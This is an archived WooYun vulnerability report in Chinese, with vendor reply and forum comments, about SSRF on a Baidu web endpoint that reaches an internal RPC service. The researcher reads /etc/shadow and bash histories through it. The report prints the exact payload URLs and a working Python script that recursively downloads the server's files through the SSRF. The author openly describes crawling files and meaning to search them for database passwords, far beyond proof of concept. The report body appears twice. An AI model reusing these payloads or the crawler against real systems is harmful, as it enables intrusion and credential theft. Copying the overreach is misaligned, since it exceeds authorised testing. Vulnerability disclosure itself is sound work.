当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0167695

漏洞标题:一次险些探测百度服务器的过程(从xss被礼节炮/到ssrf内网探测/再到rpc高权限全服务器文件读取)

相关厂商:百度

漏洞作者: hear7v

提交时间:2016-01-06 09:44

修复时间:2016-02-12 18:49

公开时间:2016-02-12 18:49

漏洞类型:内部绝密信息泄漏

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-06: 细节已通知厂商并且等待厂商处理中
2016-01-06: 厂商已经确认,细节仅向厂商公开
2016-01-16: 细节向核心白帽子及相关领域专家公开
2016-01-26: 细节向普通白帽子公开
2016-02-05: 细节向实习白帽子公开
2016-02-12: 细节向公众公开

简要描述:

rt

详细说明:

之前交了一个百度反射xss,虽然也感觉没多大用,不过1rank这样的礼节rank,虽然寄了礼物心中依然忿忿不平,再来到触发点处测试一开始打算的ssrf,当然,在写这报告的时候,最危险的洞由于昨晚用力太猛,已经被堵住,不过还是泄露了不少信息
漏洞处

http://webapp.cbs.baidu.com/rsstopic/gate
?cbsonline=1
&p=t
&brand=top
&rssadv=1
&src=http://127.0.0.1:403
&qq-pf-to=pcqq.c2c


主要是这里的src变量,我们输入www.baidu.com这些都可以成功得到访问信息,确认ssrf的存在,接下来先探测主机端口

6.jpg


这里我们发现了403等端口,访问

1.png


发现是百度rpc,下面的指令只能成功地执行少部分,获取一些并不敏感的主机信息

2.png


什么cpu信息,主机内核信息等,都无关紧要,这里不贴,接下来几天用脚本burp疯狂地对src进行10.x.x.x这样的内网ip探测,但是依旧没什么发现,基本准备放弃这个洞了。
昨天,想起了再看看这个地方,把url精简了下

http://webapp.cbs.baidu.com/rsstopic/gate
?cbsonline=7
&src=http://127.0.0.1:403


因为其他参数都是影响页面显示,没太大作用,现在一个cbsonline,一个src,src的作用我们知道,但是cbsonline的作用不清楚,先fuzz一下,

1.png


果然有发现1,4,7,我们来试试改变cbsonline参数

2.png


3.png


我们可以发现当cbsonline改成1的时候页面看着最舒服,我们再来试一下之前没有成功 的一些命令,

4.png


惊奇发现,全目录遍历,我们再来看看能不能读取

5.png


shadow直接读取了,很是开心,
于是开始手动地搜集敏感信息

6.png


用户的操作信息,从这些信息里面我们可以看到很多内网的ip,域名等敏感信息,

1.jpg


2.jpg


于是,话不多说写个脚本爬出所用文件信息,作死的一步。。。

#!/usr/bin/env python
#*******************************#
# Description: baidu_rpc #
# Author: hear7v #
#*******************************#
import requests
import sys
import os
import time
Session = requests.Session()
url = "http://webapp.cbs.baidu.com/rsstopic/gate"
base = 'http://127.0.0.1:403/'
def spider(str):
time.sleep(1)
nBase = base + str
Params = {'cbsonline':'1', 'src':nBase}
r = Session.get(url, params = Params)
ans = r.content
if "<a href=\"/dir/" in ans:
os.mkdir(str)
print "mkdir %s"%str
list1 = ans.split('</a>')
# print list1
list2 = []
# print list1
for st in list1[0:len(list1)-1]:
temp = st.split('>')
temp = temp[len(temp)-1]
if (len(temp)>0 and temp!='.' and temp!='..'):
list2.append(temp)
# print list2
for i in list2:
spider(str+'/'+i)
else:
print "mkfile %s"%str
f = open(str, 'a')
f.write(ans)
f.close
spider("dir")


9.png


到这里,就准备安安心心睡觉,第二天早上起来稳稳当当发财,到时候爬下所用文件,翻翻配置文件啊,找点数据库密码什么的,不过人还是太年轻,可能也和前几天肆无忌惮地爆内网有关,。。第二天早上起来发现。。

QQ图片20160106090517.jpg


怎么好多文件夹是makefile操作。。。好吧。。。再试试之前的payload发现,url的cbsonline参数已经做了处理,最终爬下来的文件。。

10.png


home里面爬了一半左右,看了下还是有不少敏感信息,只怪自己经验太少,实在是想不到百度安全在凌晨竟然会如此给力。本来指望着这个洞爬完文件,找找密码,交个wooyun,家里金毛明年的狗粮就有着落了。不过希望管理大大,看在这也是少有的对rpc的利用多给点rank,而且思路也比较奇葩,看能不能打个雷吧。

漏洞证明:

之前交了一个百度反射xss,虽然也感觉没多大用,不过1rank这样的礼节rank,虽然寄了礼物心中依然忿忿不平,再来到触发点处测试一开始打算的ssrf,当然,在写这报告的时候,最危险的洞由于昨晚用力太猛,已经被堵住,不过还是泄露了不少信息
漏洞处

http://webapp.cbs.baidu.com/rsstopic/gate
?cbsonline=1
&p=t
&brand=top
&rssadv=1
&src=http://127.0.0.1:403
&qq-pf-to=pcqq.c2c


主要是这里的src变量,我们输入www.baidu.com这些都可以成功得到访问信息,确认ssrf的存在,接下来先探测主机端口

6.jpg


这里我们发现了403等端口,访问

1.png


发现是百度rpc,下面的指令只能成功地执行少部分,获取一些并不敏感的主机信息

2.png


什么cpu信息,主机内核信息等,都无关紧要,这里不贴,接下来几天用脚本burp疯狂地对src进行10.x.x.x这样的内网ip探测,但是依旧没什么发现,基本准备放弃这个洞了。
昨天,想起了再看看这个地方,把url精简了下

http://webapp.cbs.baidu.com/rsstopic/gate
?cbsonline=7
&src=http://127.0.0.1:403


因为其他参数都是影响页面显示,没太大作用,现在一个cbsonline,一个src,src的作用我们知道,但是cbsonline的作用不清楚,先fuzz一下,

1.png


果然有发现1,4,7,我们来试试改变cbsonline参数

2.png


3.png


我们可以发现当cbsonline改成1的时候页面看着最舒服,我们再来试一下之前没有成功 的一些命令,

4.png


惊奇发现,全目录遍历,我们再来看看能不能读取

5.png


shadow直接读取了,很是开心,
于是开始手动地搜集敏感信息

6.png


用户的操作信息,从这些信息里面我们可以看到很多内网的ip,域名等敏感信息,

1.jpg


2.jpg


于是,话不多说写个脚本爬出所用文件信息,作死的一步。。。

#!/usr/bin/env python
#*******************************#
# Description: baidu_rpc #
# Author: hear7v #
#*******************************#
import requests
import sys
import os
import time
Session = requests.Session()
url = "http://webapp.cbs.baidu.com/rsstopic/gate"
base = 'http://127.0.0.1:403/'
def spider(str):
time.sleep(1)
nBase = base + str
Params = {'cbsonline':'1', 'src':nBase}
r = Session.get(url, params = Params)
ans = r.content
if "<a href=\"/dir/" in ans:
os.mkdir(str)
print "mkdir %s"%str
list1 = ans.split('</a>')
# print list1
list2 = []
# print list1
for st in list1[0:len(list1)-1]:
temp = st.split('>')
temp = temp[len(temp)-1]
if (len(temp)>0 and temp!='.' and temp!='..'):
list2.append(temp)
# print list2
for i in list2:
spider(str+'/'+i)
else:
print "mkfile %s"%str
f = open(str, 'a')
f.write(ans)
f.close
spider("dir")


9.png


到这里,就准备安安心心睡觉,第二天早上起来稳稳当当发财,到时候爬下所用文件,翻翻配置文件啊,找点数据库密码什么的,不过人还是太年轻,可能也和前几天肆无忌惮地爆内网有关,。。第二天早上起来发现。。

QQ图片20160106090517.jpg


怎么好多文件夹是makefile操作。。。好吧。。。再试试之前的payload发现,url的cbsonline参数已经做了处理,最终爬下来的文件。。

10.png


home里面爬了一半左右,看了下还是有不少敏感信息,只怪自己经验太少,实在是想不到百度安全在凌晨竟然会如此给力。本来指望着这个洞爬完文件,找找密码,交个wooyun,家里金毛明年的狗粮就有着落了。不过希望管理大大,看在这也是少有的对rpc的利用多给点rank,而且思路也比较奇葩看能不能打个雷吧。

修复方案:

主机ssh密码泄露,改了,其他配置文件,这些都要修改,etc全部泄露了,在用户的操作bash记录里面泄露了不少内网ip和相应的文件传送记录,域名这些也有,建议定期删除bashhistory,其他的泄露的文件里面信息还是很多的。学生党,期末,幸好被发现了,不然不知道要耽搁多少时间在这上面,说不准就挂科了。thx,百度安全哥哥们

版权声明:转载请注明来源 hear7v@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2016-01-06 13:35

厂商回复:

非常感谢您的报告,问题已着手处理,感谢您对百度安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。

最新状态:

暂无


漏洞评价:

评价

  1. 2016-01-06 09:46 | 爱上平顶山 认证白帽子 ( 核心白帽子 | Rank:2970 漏洞数:585 | [不戴帽子]异乡过客.曾就职于天朝某机构.IT...)

    66666

  2. 2016-01-06 09:49 | 我的邻居王婆婆 ( 普通白帽子 | Rank:2981 漏洞数:505 | 刚发现个好洞网站就挂了)

    礼节炮是什么

  3. 2016-01-06 09:51 | Aasron ( 普通白帽子 | Rank:208 漏洞数:59 | 工欲善其事,必先利其器)

    炮筒

  4. 2016-01-06 09:51 | Me_Fortune ( 普通白帽子 | Rank:278 漏洞数:91 | The quiter you are,the more you're able ...)

    66666

  5. 2016-01-06 09:52 | 荒废的腰子 ( 普通白帽子 | Rank:113 漏洞数:14 | 以前的马甲不用了~~~)

    什么炮?

  6. 2016-01-06 09:54 | sauce ( 路人 | Rank:26 漏洞数:11 | 酱油一个)

    打炮,,友情炮

  7. 2016-01-06 10:13 | DNS ( 普通白帽子 | Rank:711 漏洞数:73 | root@qisec.com)

    后悔了吧,钱没了吧,哈哈

  8. 2016-01-06 10:20 | secart ( 路人 | Rank:27 漏洞数:5 | 这个人很懒,什么都没留。)

    999999

  9. 2016-01-06 10:36 | 玄清 ( 路人 | Rank:0 漏洞数:1 | 漏洞爱好者)

    吊炸天

  10. 2016-01-06 10:41 | 大师兄 ( 路人 | Rank:29 漏洞数:7 | 每日必关注乌云)

    叫地主

  11. 2016-01-06 10:41 | hear7v ( 路人 | Rank:16 漏洞数:5 | 咳咳,kkcpp)

    事已至此,看能不能给点买书的钱。。想多了。。5555

  12. 2016-01-06 10:58 | Aasron ( 普通白帽子 | Rank:208 漏洞数:59 | 工欲善其事,必先利其器)

    @hear7v ...

  13. 2016-01-06 11:01 | Format_smile ( 普通白帽子 | Rank:328 漏洞数:122 | ···孰能无过,谁是谁非!)

    洞主太6

  14. 2016-01-06 12:14 | Mark0smith ( 普通白帽子 | Rank:106 漏洞数:41 )

    66666

  15. 2016-01-06 12:31 | Sakura丶小樱 ( 路人 | Rank:4 漏洞数:2 | poi?)

    破公司吃枣药丸

  16. 2016-01-06 12:38 | 小红猪 ( 普通白帽子 | Rank:285 漏洞数:48 | little red pig!)

    不明觉厉

  17. 2016-01-06 12:49 | B1acken ( 普通白帽子 | Rank:175 漏洞数:57 | 渣渣)

    敢搞百度,顿哥封他号

  18. 2016-01-06 13:02 | scanf ( 核心白帽子 | Rank:1380 漏洞数:199 | 。)

    路过 打炮还是?

  19. 2016-01-06 13:11 | px1624 ( 普通白帽子 | Rank:1074 漏洞数:181 | px1624)

    ddddd

  20. 2016-01-06 13:14 | thewind ( 普通白帽子 | Rank:149 漏洞数:37 | 小白……)

    围观

  21. 2016-01-06 14:32 | hear7v ( 路人 | Rank:16 漏洞数:5 | 咳咳,kkcpp)

    @百度 哎哟,又是一巴掌,是因为已经修了么,感觉好低啊

  22. 2016-01-23 14:07 | Chinalover ( 路人 | Rank:18 漏洞数:8 | 你看得到我打在屏幕上的字,却看不到我落在...)

    做题的路过。。。

  23. 2016-01-23 14:23 | WinterSun ( 路人 | Rank:2 漏洞数:1 | 这个人很懒,没有介绍。)

    做题的路过。。

  24. 2016-01-23 14:26 | l0wK3y ( 路人 | Rank:30 漏洞数:13 | 读囚徒健身,当技术大拿)

    做题的路过。。

  25. 2016-01-23 14:32 | XiaoPY ( 路人 | Rank:2 漏洞数:1 )

    做题的路过。。

  26. 2016-01-23 17:02 | Master ( 实习白帽子 | Rank:33 漏洞数:10 )

    做题的路过。。

  27. 2016-01-23 17:03 | hear7v ( 路人 | Rank:16 漏洞数:5 | 咳咳,kkcpp)

    好好做题,能做出来,不是完全是这个思路

  28. 2016-01-23 17:09 | T3qui1a ( 路人 | Rank:2 漏洞数:1 | 小白)

    做题的路过,表示看不到怎么办=、=

  29. 2016-01-23 18:47 | Chinalover ( 路人 | Rank:18 漏洞数:8 | 你看得到我打在屏幕上的字,却看不到我落在...)

    @hear7v 说得好像我们是核心白帽子能看到过程一样。。

  30. 2016-01-23 23:04 | wefgod ( 普通白帽子 | Rank:1821 漏洞数:181 | 力不从心)

    做啥题?

  31. 2016-01-24 16:28 | s.sky ( 路人 | Rank:9 漏洞数:3 | 小小白)

    做题的路过,表示看不到怎么办=、=

  32. 2016-01-26 14:12 | 暴走 ( 普通白帽子 | Rank:454 漏洞数:88 | Wooyun的Rank获取如同Dota冲天梯有过之而无...)

    我学习到一个新名词,礼节炮!

  33. 2016-01-27 18:13 | 1c3z ( 普通白帽子 | Rank:285 漏洞数:61 | 找工作,找工作。)

    楼楼应该换台电脑了,快80%